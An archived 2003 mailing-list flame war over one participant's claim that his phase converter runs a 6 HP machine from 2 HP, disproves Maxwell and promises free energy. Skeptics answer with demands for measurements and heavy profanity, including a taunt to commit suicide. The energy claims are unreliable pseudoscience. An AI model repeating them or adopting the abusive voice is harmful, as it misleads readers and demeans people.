X-Mailing-List: archive/latest/3888 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 193 On Thu, 2 Oct 2003 21:25:53 EDT, you wrote: > Probably next week or the latest the week after. With demos that science >cannot explain DO YOU WANT ME TO STOP ? Dennis lee or who ever. in a >business sense. i will have a natural born Eng/architict with me that has a >degree if not i'm picking up a Russian scientist in NYC coming over from Moscow >but has a residents in NYC > > Plus 2 other members of the family are Ph.d Scientsts presently in NYC >In Russia they teach Trig. in the 3 rd. grade if your SCI. inclined. Plus they >teach practice first theory second Who is the US can compete? . The answer is >basically no body jack carey 2003 810 618 9234 the time is here for >theoretical only science to disappear up in smoke from whence it came. It appears >Some MIT people possibly will be in attendence It will suck to be them. > > If their base of knowledge goes down the tubes they need to pony up a degree >in honor of their new GOD Wayne Cochran I deserve one also. I have earned it --- So now, after all the hate and vitriol you've pitched at the educational system what comes to light is that what you really want is to be honored by it! A degree? What you really deserve is a swift kick in the ass and what you've earned is the contempt of many of us. -- John Fields From vortexb-l-request@eskimo.com Sat Oct 4 16:26:09 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA01418; Sat, 4 Oct 2003 16:23:28 -0700 Resent-Date: Sat, 4 Oct 2003 16:23:28 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: eric@voicenet.com Subject: Re: JACK CAREY IS GOING TO NYC AND CONCORD NH maybe DC Date: Sat, 04 Oct 2003 18:25:03 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <18e.2077ff35.2cb0805e@aol.com> In-Reply-To: <18e.2077ff35.2cb0805e@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id QAA01361 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3891 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 194 On Sat, 4 Oct 2003 15:58:22 EDT, you wrote: >In a message dated 10/3/03 2:41:04 PM Eastern Standard Time, >eric@voicenet.com writes: > > >> Jack, >> >> I'm not telling you to stop any demo's, I'm only telling you that you >> never have started. > REPLY PUBLIC INTRODUCTION INFINITE ENEGY E TIMES GET OFF IT EE --- An inconclusive, sketchy article. --- > You have only talked about it for 2 years. Ted > saw something, but the >> demo was meaningless. >> > TERE WERE ENGINEESRS IN THE ROOM THAT WERE IN ShOCK --- No doubt because they couldn't believe that a no-talent hack like you would waste their time with your fucking bullshit scam. --- >TED FIxES VCR'S AND >rides a bicycle for transdporation boy get off it ok ok the rest is not >worth answering goof ball skeptic e mail you you a no body from no where with an >ego promble buzz off twerp if i come NYC way you do not have the guts to >be filmed testing a demo and if so saying you know basically zero big talk >gutless dip shit --- Big talk coming from you, chickenshit. Bring your shit to Austin, Texas and we'll have you begging for mercy and send you back to the shithole you crawled out of with your tail between your legs. --- >> Please have >> someone who attends your demo email me with their impressions. I >> have never yet heard from anyone who either thinks you are not crazy >> or who thinks you have anything significant. Don't worry about >> Dennis, he has had "technology" for 20 years, it has all been junk that >> no one has ever gotten to work. If there is the real thing somewhere, >> Dennis would not know what to do with it. I expect that once these >> Russians can understand you that they will cut you off like everyone >> else. -- John Fields From vortexb-l-request@eskimo.com Sun Oct 5 15:27:24 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA25020; Sun, 5 Oct 2003 15:25:16 -0700 Resent-Date: Sun, 5 Oct 2003 15:25:16 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: vortexb-l@eskimo.com Subject: Re: JACK CAREY IS GOING TO NYC AND CONCORD NH maybe DC Date: Sun, 05 Oct 2003 17:24:31 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <114.299c76c2.2cb0b6d3@aol.com> In-Reply-To: <114.299c76c2.2cb0b6d3@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id PAA24920 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3898 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 195 On Sat, 4 Oct 2003 19:50:43 EDT, you wrote: >In a message dated 10/4/03 6:26:31 PM Eastern Standard Time, >jfields@austininstruments.com writes: > > >> Big talk coming from you, chickenshit. Bring your shit to Austin, Texas >> and we'll have you begging for mercy and send you back to the shithole >> you crawled out of with your tail between your legs. >> > REPLY A MODEL / ARCHITECT / Natural born M.E. ENG Degreed FROM >DALLAS WILLON THE TRIP as far as i know at this time. BOY 99% says She >would make a fool of you. PLUS MAYBE A RUSSIAN sci. FROM MOSCOW THAT LIVES IN >NYC AND I'M SEEING A RELATIVE OF EINSTEINS SON IN HOUSTON the moderator of a >yahoogroup AND A RELETIVE OF TESLAS DR HERMAN TESLA IN HOUSTON he is with a >dev. group > > THEN ON TO THE SOUTH WEST BOY WHERE IS AUSTIN IN THAT REALM ? BECAUSE >I JUST REMEMBERED PUTHOFF IS THERE / PONY UP GUTLESS 2500 SAYS YOUR >EATING YOUR SHIT BOY COME ON GUTLESS take the bait boy You moron goof ball >slime ball clown what are going to do now BOY ? --- I'm just going to keep on beating you up until you either prove that you're not full of shit or quit. -- John Fields From vortexb-l-request@eskimo.com Sun Oct 5 16:23:05 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA24497; Sun, 5 Oct 2003 16:21:16 -0700 Resent-Date: Sun, 5 Oct 2003 16:21:16 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, eric@voicenet.com Subject: Re: YOUR WORTHLESS USELESS EDU.Geezzzzzzzzzzzz Date: Sun, 05 Oct 2003 18:20:28 -0500 Organization: Austin Instruments, Inc. Message-ID: <8591ovkptnca8e2u75fftb4i8tkcnq0tnh@4ax.com> References: <130.25f9faa4.2cb1fb67@aol.com> In-Reply-To: <130.25f9faa4.2cb1fb67@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id QAA24442 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3900 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 196 On Sun, 5 Oct 2003 18:55:35 EDT, you wrote: >In a message dated 10/5/03 5:08:30 PM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > > >> But, I _might_ be interested if you'd state what it is >> you want to bet about. Your claims as to electrical >> watts into the RTPC VS mechanical watts out of it >> might be interesting, > >REPLY IT IS A CONVERTER ""ONLY "" ""ONLY"" ""ONLY"" ONLY"" YOU IGNORANT >GOOFY MORON JERK OFF DIP SHIT, DICK HEAD ASS HOLE FOR THE 100 TH TIME >HELLO ARE youTHERE? dUH dUH GOOF BALL FOOL?? > >Boy YOU PLUG IN YOU START YOU PLUG IN A MACHINE YOUR OPERATEING YOU >MEASURE DRAW FROM THE WALL YOU MEASURE IMPUT OF MACHINE YOUR DONE TESTING RESULT >NEW PHYSICS YOURS IS TOTALLY OBSOLETE PERIOD CASE CLOSED SIMPLE SIMPLE >SIMPLE GEEEEZZZZZZ I HAVE TOLD YOU OVER AND OVER AND OVER MAN YOUR >WORTHLESS USELESS EDU. IF SO WA WA WA WA WA WA WA WA HELLO Boy when are you going >you get your head out of your ASS --- Well, I see a lot of words but nothing of substance, as usual. Especially nothing have to do with actual numbers, just your typical nonsensical bob and weave crap. For example, what do you mean by "DRAW FROM THE WALL"? Watts? VoltAmperes? Amperes? How many? No clue, huh? Lame ass motherfucker, you need to get your ass back to swabbing out toilets at GM; at least that's something your sorry ass is qualified to do. --- >> as would electrical watts in VS> electrical watts out. If you can ever get >> your head >> out of your ass and figure out what it is you think >> you're talking about, write up something quantitaive >> and let's see what happens. --- I thought you'd skip over that one. Write spec's?, Shit, you can barely keep from poking out an eye when you've got something sharp, like a pencil, in your hand. -- John Fields From vortexb-l-request@eskimo.com Sun Oct 5 21:10:40 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA14973; Sun, 5 Oct 2003 21:08:37 -0700 Resent-Date: Sun, 5 Oct 2003 21:08:37 -0700 Date: Sun, 05 Oct 2003 21:02:29 -0700 From: nitroburn Subject: Re: NO INVESTIGATING BIG TALK FIELDS PUT UP OR SHUT UP To: vortexb-l@eskimo.com Message-id: <003a01c38bbe$a9264310$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_Ou/Y6J4KuXoTzxaagT5/hA)" X-Priority: 3 X-MSMail-priority: Normal References: <10c.2a36a502.2cb1a71e@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3903 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 197 This is a multi-part message in MIME format. --Boundary_(ID_Ou/Y6J4KuXoTzxaagT5/hA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT You are the one who supposidly has all the money Carey... Get on the fucking plane you pussy. ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com ; eric@voicenet.com Sent: Sunday, October 05, 2003 9:55 AM Subject: NO INVESTIGATING BIG TALK FIELDS PUT UP OR SHUT UP In a message dated 10/4/03 6:26:31 PM Eastern Standard Time, jfields@austininstruments.com writes: Big talk coming from you, chickenshit. Bring your shit to Austin, Texas and we'll have you begging for mercy and send you back to the shithole you crawled out of with your tail between your legs. REPLY BOY DIP SHIT SMUG GUTLESS WONDER arrogant know it all God complex having TWERP ARE YOU THERE ? ARE you HIDING BEHIND YOUR COMPUTER LIKE YOU PROBABLY DID YOU MOTHERS DRESS MAKING SNIDE REMARKS SCREW 2500 MAKE IT 5000 AND DR HAL PUTOFF IN AUSTIN a world know scientist WHERE YOUR AT CAN HOLD THE MONEY and conduct the test that he has offer to do in the past THAT I SAY THE PHASE CONVERSION WITH PROVE THE FIRST NEW ELECTRICAL PHYSICS IN 120 YEARS AND BLOW AWAY MAXWELL'S EQUATIONS that were the building blocks for modern theoretical science THANKS MORONIC FOOL GOOF BALL FOR SPOUTING OFF AS USUAL COME ON BOY Please pretty please i'm waiting If as advertised in time someone i know will crush your piss ant CO. like a bug BOY then you may learn to be humble I know someone that wants your head on a plate so to speak. Guess who that is BOY? you skeptics are all gutless like kreig and karn all talk no action --Boundary_(ID_Ou/Y6J4KuXoTzxaagT5/hA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
You are the one who supposidly has all the money Carey...
 
Get on the fucking plane you pussy.
----- Original Message -----
Sent: Sunday, October 05, 2003 9:55 AM
Subject: NO INVESTIGATING BIG TALK FIELDS PUT UP OR SHUT UP

In a message dated 10/4/03 6:26:31 PM Eastern Standard Time, jfields@austininstruments.com writes:


Big talk coming from you, chickenshit.  Bring your shit to Austin, Texas
and we'll have you begging for mercy and send you back to the shithole
you crawled out of with your tail between your legs.

           REPLY  BOY  DIP SHIT  SMUG GUTLESS WONDER  arrogant know it all God complex having TWERP ARE YOU THERE ?   ARE you HIDING BEHIND YOUR COMPUTER LIKE YOU PROBABLY DID YOU MOTHERS DRESS   MAKING SNIDE REMARKS    SCREW 2500  MAKE IT 5000 AND  DR HAL PUTOFF IN AUSTIN a world know scientist   WHERE YOUR AT CAN HOLD THE MONEY  and conduct the test  that he has offer to do in the past

THAT  I SAY THE PHASE CONVERSION WITH PROVE THE FIRST NEW ELECTRICAL PHYSICS IN 120 YEARS AND BLOW AWAY MAXWELL'S EQUATIONS that were the building blocks for modern theoretical science    THANKS MORONIC FOOL GOOF BALL FOR SPOUTING OFF AS USUAL   COME ON BOY  Please pretty please     i'm waiting  If as advertised in time someone i know  will crush your piss ant CO. like a bug  BOY then you may learn to be humble   I know someone that wants your head on a plate so to speak. Guess who that is BOY?  you skeptics are all gutless like kreig and karn  all talk no action
--Boundary_(ID_Ou/Y6J4KuXoTzxaagT5/hA)-- From vortexb-l-request@eskimo.com Sun Oct 5 22:43:06 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id WAA06640; Sun, 5 Oct 2003 22:41:08 -0700 Resent-Date: Sun, 5 Oct 2003 22:41:08 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, vortexb-l@eskimo.com, eric@voicenet.com Subject: Re: YOUR TOTALLY BACKWARDS BOY Date: Mon, 06 Oct 2003 00:40:50 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <173.2075dedd.2cb23b20@aol.com> In-Reply-To: <173.2075dedd.2cb23b20@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id WAA06465 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3906 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 198 On Sun, 5 Oct 2003 23:27:28 EDT, you wrote: > We keep it real simple We are just plain country folk. All we know is >practical simple deductive reasoning commen sense. You big city slickers you do >everything the hard way 2 hp causes 6 hp to operate. BOY if 6 hp is >operating that is all that matters No's mean zero --- Sure, I can take a simple 1.5kVA transformer and use it to run a 6HP motor, and the motor will run cool, too, until I put a load on it. It will also power an intermittent load pretty well because of the flywheel effect of the rotor, but it you were to put a continuous 6HP load on it guess what would happen? Use your stupid fucking common sence to figure it out moron. --- > FYI DENNIS LEES PH.D FOREIGN TRAINED EE THREW AWAY THE PHASE AND BOOK AND >HID IN HIS OFFICE WITH THE DOOR CLOSED AFTER IT HAD BEEN OPEN THE FIRST TWO >DAYS. AND NEVER CAME BACK IN THE LAB AFTER THE SECOND DAY OF THE WEEK WE WERE >THERE. > >CREATING ONE WATT OUT FOR EVERY WATT IN WITH NO POWER LOSS IN BETWEEN I >POSTED THOSE PICTURES OFF THE AUSTRIAN WEB SITE THAT HAS ONE OF THE CD DEMOS --- Pictures don't prove anything, and neither does your big blowhard mouth. If you've got anything at all it's going to have to be tested sooner or later, so put up or shut up. --- >You just want to totally complacate and cluster you know what everything. >That premise thinking is backwards to us. 2 hp operating 6hp is all the >documentation necessary. That is impossible correct? That is all the public >cares about is if 2 is operating 6 . They have the money. Correct? GOT IT BOY? --- Operating a fully loaded 6HP sink at 6HP from a 2HP source is the operational phrase, dimwit. If you can do it, prove it. If you can't, then just go away. -- John Fields From vortexb-l-request@eskimo.com Mon Oct 6 06:42:21 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id GAA03151; Mon, 6 Oct 2003 06:40:43 -0700 Resent-Date: Mon, 6 Oct 2003 06:40:43 -0700 From: jfields@austininstruments.com (John Fields) To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, vortexb-l@eskimo.com, eric@voicenet.com Subject: Re: BOY BOY YOUR WORTHLESS USELESS EDU.IS STILL WORTHLESS Geezzzzzzzzzzzz Date: Mon, 06 Oct 2003 04:40:26 GMT Organization: Austin Instruments, Inc. Message-ID: <3f82f22b.34684383@mail.texas.net> References: <6b.1a3a15cf.2cb20bbc@aol.com> In-Reply-To: <6b.1a3a15cf.2cb20bbc@aol.com> X-Mailer: Forte Agent 1.5/32.452 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id GAA03051 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3909 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 199 On Sun, 5 Oct 2003 20:05:16 EDT, you wrote: >In a message dated 10/5/03 6:22:25 PM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > > >> Well, I see a lot of words but nothing of substance, as usual. >> >> REPLY AS STATED 500 TIMES A 2 HP RTPC USING 220V FEED WILL CONVERT TO 3 >PHASE AND CAUSE UP A 6 HP 3 PHASE MACH TO OPERATE AND THE MOTOR OPERATING >THE MACHINE WILL HAVE 50% INCREASED PREFORMANCE AND TEMP OF MOTOR WILL STAY >WITHIN 15 DEG OF ROOM TEMP --- And now that you've stated it 501 times, it's still bullshit. Amps out of the wall into the RTPC, volts out of the wall across it, and the phase angle between the voltage and current into the RTPC is what matters, not some goddam 2HP this and 6HP that, and if you didn't know that before, you stupid fuck, you know it now so knock off the crap and get your facts straight and your numbers in order. Same goes for the RTPC output in terms of the measurements that need to be made, and if you're feeding a mechanical load the value of that load needs to be precisely defined. If the load varies, then measurements need to made with the different loads in order to determine what the efficiency of the machine _is_ under different load conditions. Since you're claiming cool running, then the temperature rise under different line and load conditions needs to be measured and documented as well. Documented, not given some mention in passing and then passing that off as gospel. Got it? --- > ON CD DISK IS ONE 2 HP UNIT OPERATING A 7 1/2 HP 3 PHASE JIG GRINDER AT >THE CUSTOMERS HOUSE THAT UNIT WAS SOLD LAST YEAR AND I HAVE THAT UNIT BACK >BECAUSE HE SOLD HIS MACHINE. KEITH MC KAY AN OWNER OF A MACHINE SALES CO SOLD THE >CONVERTER AT NO PROFIT. HIS MAIL IS SUPERIOR@BLCLINKS.NET IF SO MR. >SCIENTIST YOUR EDU IS STILL WORTHLESS BOY --- If so???? So you're hedging your bets, you goddam pussy? Figures... As for the rest of it, who cares? It's all still a bunch of bullshit with no basis in fact and only your worthless word to substantiate it. --- > THE PREMISE IS ULTRA HIGH EFF. PERIOD TOTALLY FORGET OU THINKING. BECAUSE >IF SO JAMES CLERK MAXWELL DID NOT GRASP THE OPERATIONAL SIDE OF MICHAEL >FARADAY'S WORK. 120 YEARS AGO --- I never brought up overunity, but since you brought up efficiency, let's see some numbers. how much of the power that the RTPC takes from the mains does it deliver to the load, for example? Don't know? Or more likely, afraid to say what it is because you know as soon as you do the merry-go-round will come to a screeching halt. --- > If scaled up to a 15 hp. RTPC that operates say a 30 kw 3 phase elect. >Gen that converts back to single phase your bill drops 90% if the free >electrons that are drawn from the earth are fed back your bill is zero if so result >is free energy That effects the economy adversey --- More bullshit. If you've got something, let's see it. --- > Best case big power installs and services and reduces your bill say 30% >Result we save because the public would be paying 600 to 800 billion this >century in power infrastructure up grades. Plus They slash fossil fuel usage. >Lessing dramatically pollution. AND no more outages --- You have absolutely _no_ idea what you're talking about, but it's like you're on the Titanic and you know it's going to sink, and what you want to do is to convince someone that you can keep the ship from sinking if only they'll hand you a bunch of cash with no questions asked. Only problem is, as soon as you get the cash you'll head for a lifeboat and to hell with the ship... From vortexb-l-request@eskimo.com Mon Oct 6 08:23:39 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA15035; Mon, 6 Oct 2003 08:21:02 -0700 Resent-Date: Mon, 6 Oct 2003 08:21:02 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, vortexb-l@eskimo.com, eric@voicenet.com Subject: Re: SEASPOWER :can test this week? If they want to say FRI with World Media there. Date: Mon, 06 Oct 2003 10:18:48 -0500 Organization: Austin Instruments, Inc. Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id IAA14910 Resent-Message-ID: <0CO05D.A.tqD.ehYg_@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3910 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 200 On Mon, 6 Oct 2003 03:54:20 EDT, you wrote: >In a message dated 10/6/03 12:41:29 AM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > > >> Operating a fully loaded 6HP sink at 6HP from a 2HP source is the >> operational phrase, dimwit. If you can do it, prove it. If you can't, >> then just go away. >> >> REPLY PROVE IT TIME BOY IS HERE . --- Then prove it and stop flapping your gums. None of your little personal anecdotes about who went where and what anybody published means anything other than you're trying to buy some time waiting for your miracle to happen. If you've got something to show, in the real world, with real people monitoring what your machine is doing, then either shit or get off the pot. -- John Fields From vortexb-l-request@eskimo.com Mon Oct 6 08:28:08 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA19141; Mon, 6 Oct 2003 08:25:49 -0700 Resent-Date: Mon, 6 Oct 2003 08:25:49 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, eric@voicenet.com Subject: Re: BOY THERE =UCKED IF AS ADVERTISED AND THEIR THEORETICAL ONLY Date: Mon, 06 Oct 2003 10:25:25 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <39.3eb7fd9f.2cb2875f@aol.com> In-Reply-To: <39.3eb7fd9f.2cb2875f@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id IAA19020 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3911 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 201 On Mon, 6 Oct 2003 04:52:47 EDT, you wrote: >In a message dated 10/6/03 2:23:46 AM Eastern Standard Time, >georgemurray1@aol.com writes: > > >> Now we have another story. >> Jack, havent you realised yet that there are a lot of intelligent people in >> this group who keep buying plasters for the backs of their heads when >> breaking >> their chairs as they fall off backwards laughing their heads off??? >> REPLY PUBLIC INTRO THIS WEEK OR NEXT BOY THEN THEY WILL CRY THEIR >> EYES OUT ABOUT ALL THAT MONEY THEY PISSED AWAY ON AN EDU IF THEORETICAL ONLY >> BECAUSE THEIR =UCKED IF AS ADVERTISED BOY HOW COULD THEY NOT BE? WAKE UP >> GOOF BALL BIG EGO MORONIC FOOL CLOWN Eng. BOX OF ROCKS HELLO ARE YOU >> THERE? I GUESS ""DENSITY EQUALS INFINITY"' and mine ""IGNORANCE CAUSES >> ARROGANCE"" --- Public intro? Don't you mean "Contrived demo"? -- John Fields From vortexb-l-request@eskimo.com Mon Oct 6 22:23:11 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id WAA31040; Mon, 6 Oct 2003 22:21:41 -0700 Resent-Date: Mon, 6 Oct 2003 22:21:41 -0700 Date: Mon, 06 Oct 2003 22:21:34 -0700 From: nitroburn Subject: Re: READY TO MAKE THE TRIP To: vortexb-l@eskimo.com Message-id: <001a01c38c92$e030e340$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_ftntT5wQWQJ6DPeb2A+E7g)" X-Priority: 3 X-MSMail-priority: Normal References: <15b.25b8a57e.2cb39f2e@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3913 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 202 This is a multi-part message in MIME format. --Boundary_(ID_ftntT5wQWQJ6DPeb2A+E7g) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT You are going to kill theoretical science? ----- Original Message ----- From: JCarey9622@aol.com To: eric@voivenet.com Sent: Monday, October 06, 2003 9:46 PM Subject: READY TO MAKE THE TRIP FIRST TO THE east coast to pound some serious nails into theoretical sciences box and see if I can turn it into a coffin. if so the arrorgant know it ones will need to be told where to bury it . I could not expect them to figure that out for themselves. PLEASE --Boundary_(ID_ftntT5wQWQJ6DPeb2A+E7g) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
You are going to kill theoretical science?
----- Original Message -----
Sent: Monday, October 06, 2003 9:46 PM
Subject: READY TO MAKE THE TRIP

  FIRST TO THE east coast to pound some serious nails into theoretical sciences box and see if I can turn it into a coffin.   if so the arrorgant know it ones will need to be told where to bury it . I could not expect them to figure that out for themselves.  PLEASE
--Boundary_(ID_ftntT5wQWQJ6DPeb2A+E7g)-- From vortexb-l-request@eskimo.com Tue Oct 7 10:10:15 2003 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id JAA05836; Tue, 7 Oct 2003 09:56:12 -0700 (PDT) Resent-Date: Tue, 7 Oct 2003 09:56:12 -0700 (PDT) Date: Tue, 07 Oct 2003 09:55:51 -0700 From: nitroburn Subject: Re: THEORETICAL SCIENCE PLEASE JUST DIE AND GO AWAY. Stop wasting my time. To: vortexb-l@eskimo.com Message-id: <002901c38cf3$dd6dd490$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_qPF6zTGLZJVh01+ohWHPRw)" X-Priority: 3 X-MSMail-priority: Normal References: <11.19f4070c.2cb40b67@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3916 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 203 This is a multi-part message in MIME format. --Boundary_(ID_qPF6zTGLZJVh01+ohWHPRw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT You are theoretical science on steroids. Have fun commiting suicide ----- Original Message ----- From: jcarey9622@aol.com To: vortexb-l@eskimo.com Sent: Tuesday, October 07, 2003 5:28 AM Subject: THEORETICAL SCIENCE PLEASE JUST DIE AND GO AWAY. Stop wasting my time. In a message dated 10/7/03 12:23:17 AM Eastern Standard Time, nitro@bctel.org writes: You are going to kill theoretical science? REPLY AND DO NOT KEEP ATTEMPTING TO IMPEDE POSITIVE progress. They just leave me no choice. THAT thinking dynamic HAS to go the way of the dinosaur because we are not attempting as a civilization to progress in the most important aspect, which is power/energy. look at the arrogant snide, smug, closed narrowed minded remarks that have been directed at me. By the group your included in that only subscribes to that actually foolish no common sense, no investigative automatic rejection syndrome, locked in a box, style of dogma status que, iron minded, bastion of ivory tower head up their ass conformity no vision elitist thinking Case in point the theoretical/equation dynamic of the most if factual important discovery probably in history which is the evolutionary Quantum Leap. Phase conversion tech. was not written until 30 years after the Nikola Tesla inspired from old photos premise was improved and perfected. The "EQUATION ""ELECTRON FLOW WITHOUT CREATING AN EMF"" was only writen because of the planned corp. creation situation. Personally I would have never wasted my time. But Wayne Cochran Probably one of the Brightest overall minds in history was very respectful of main stream science because he figured they would be his detractors. But he was not ignorant enough to actually disclose anything they could steal. I just ignore them and circumvent them by going directly to the public because that is the only to factor them out of the equation as an influence. UCK science I only care about the business applications as I say I'm sorry but hello are you there? Technology is business not science. How the moon and sun function that is science. They cannot even figure those dimensions out because they only employ 3 D thinking dynamics when viewing those premises. Theodore Kaluza , Oscar Kline String theories factoring in 4 D as an avenue of procedure is the correct process of investigation to use as a vantage point for arriving at determinations .BOY How did you like that statement.? QM died with fuzzy hair. PERIOD Get over that or remain ignorant and combative I care less. Boy do wish to challenge me By all means please do. BOY I just displayed dam serious at the razor edge of pure though conceptual realm horse power. PLUS I"M very tactical and systematic in regard to battle plan dynamics. After all I by myself caused a turning point in history at the if combined largest corp. entity on this planet. By totally rearranging the thinking process of probably the top visionary industrial scientist on the planet. I knew at that juncture that the elimination process of theoretical only science was all down hill from that point. He is about the only one in main stream science I have any respect for. 99% are twerp only what they know is correct, piano playing, milk drinking, nose picking, cookie eating, thumb sucking mommas boy like your. And Spiteful. MY Respect was earned Because he was investigative and non judgmental unlike you and did not display an arrogant jerk off God wanna be GM attitude at all. Plus he had the guts to admit he did not understand the presentations. Only a real gentlemen would publish statements to that effect. I give him a hard time every time I call him. One thing he is a Nikola Tesla fan now. All Carl knew was his physics society gave out a Tesla award. He is real funny Jack I/m not supposed to speak to you GM legal has my hands tied. But he stated because he is a visionary changes have to occur. I feel sorry for him because of the moronic clowns he has to tolerate. I was at GM for 30 years. BTDT . They invariably would throw money at problems hoping they would go away instead of attempting to solve them. In the early days they solved problems with simple solutions. Case in point fuel pumps were mounted by the engine. NOW you 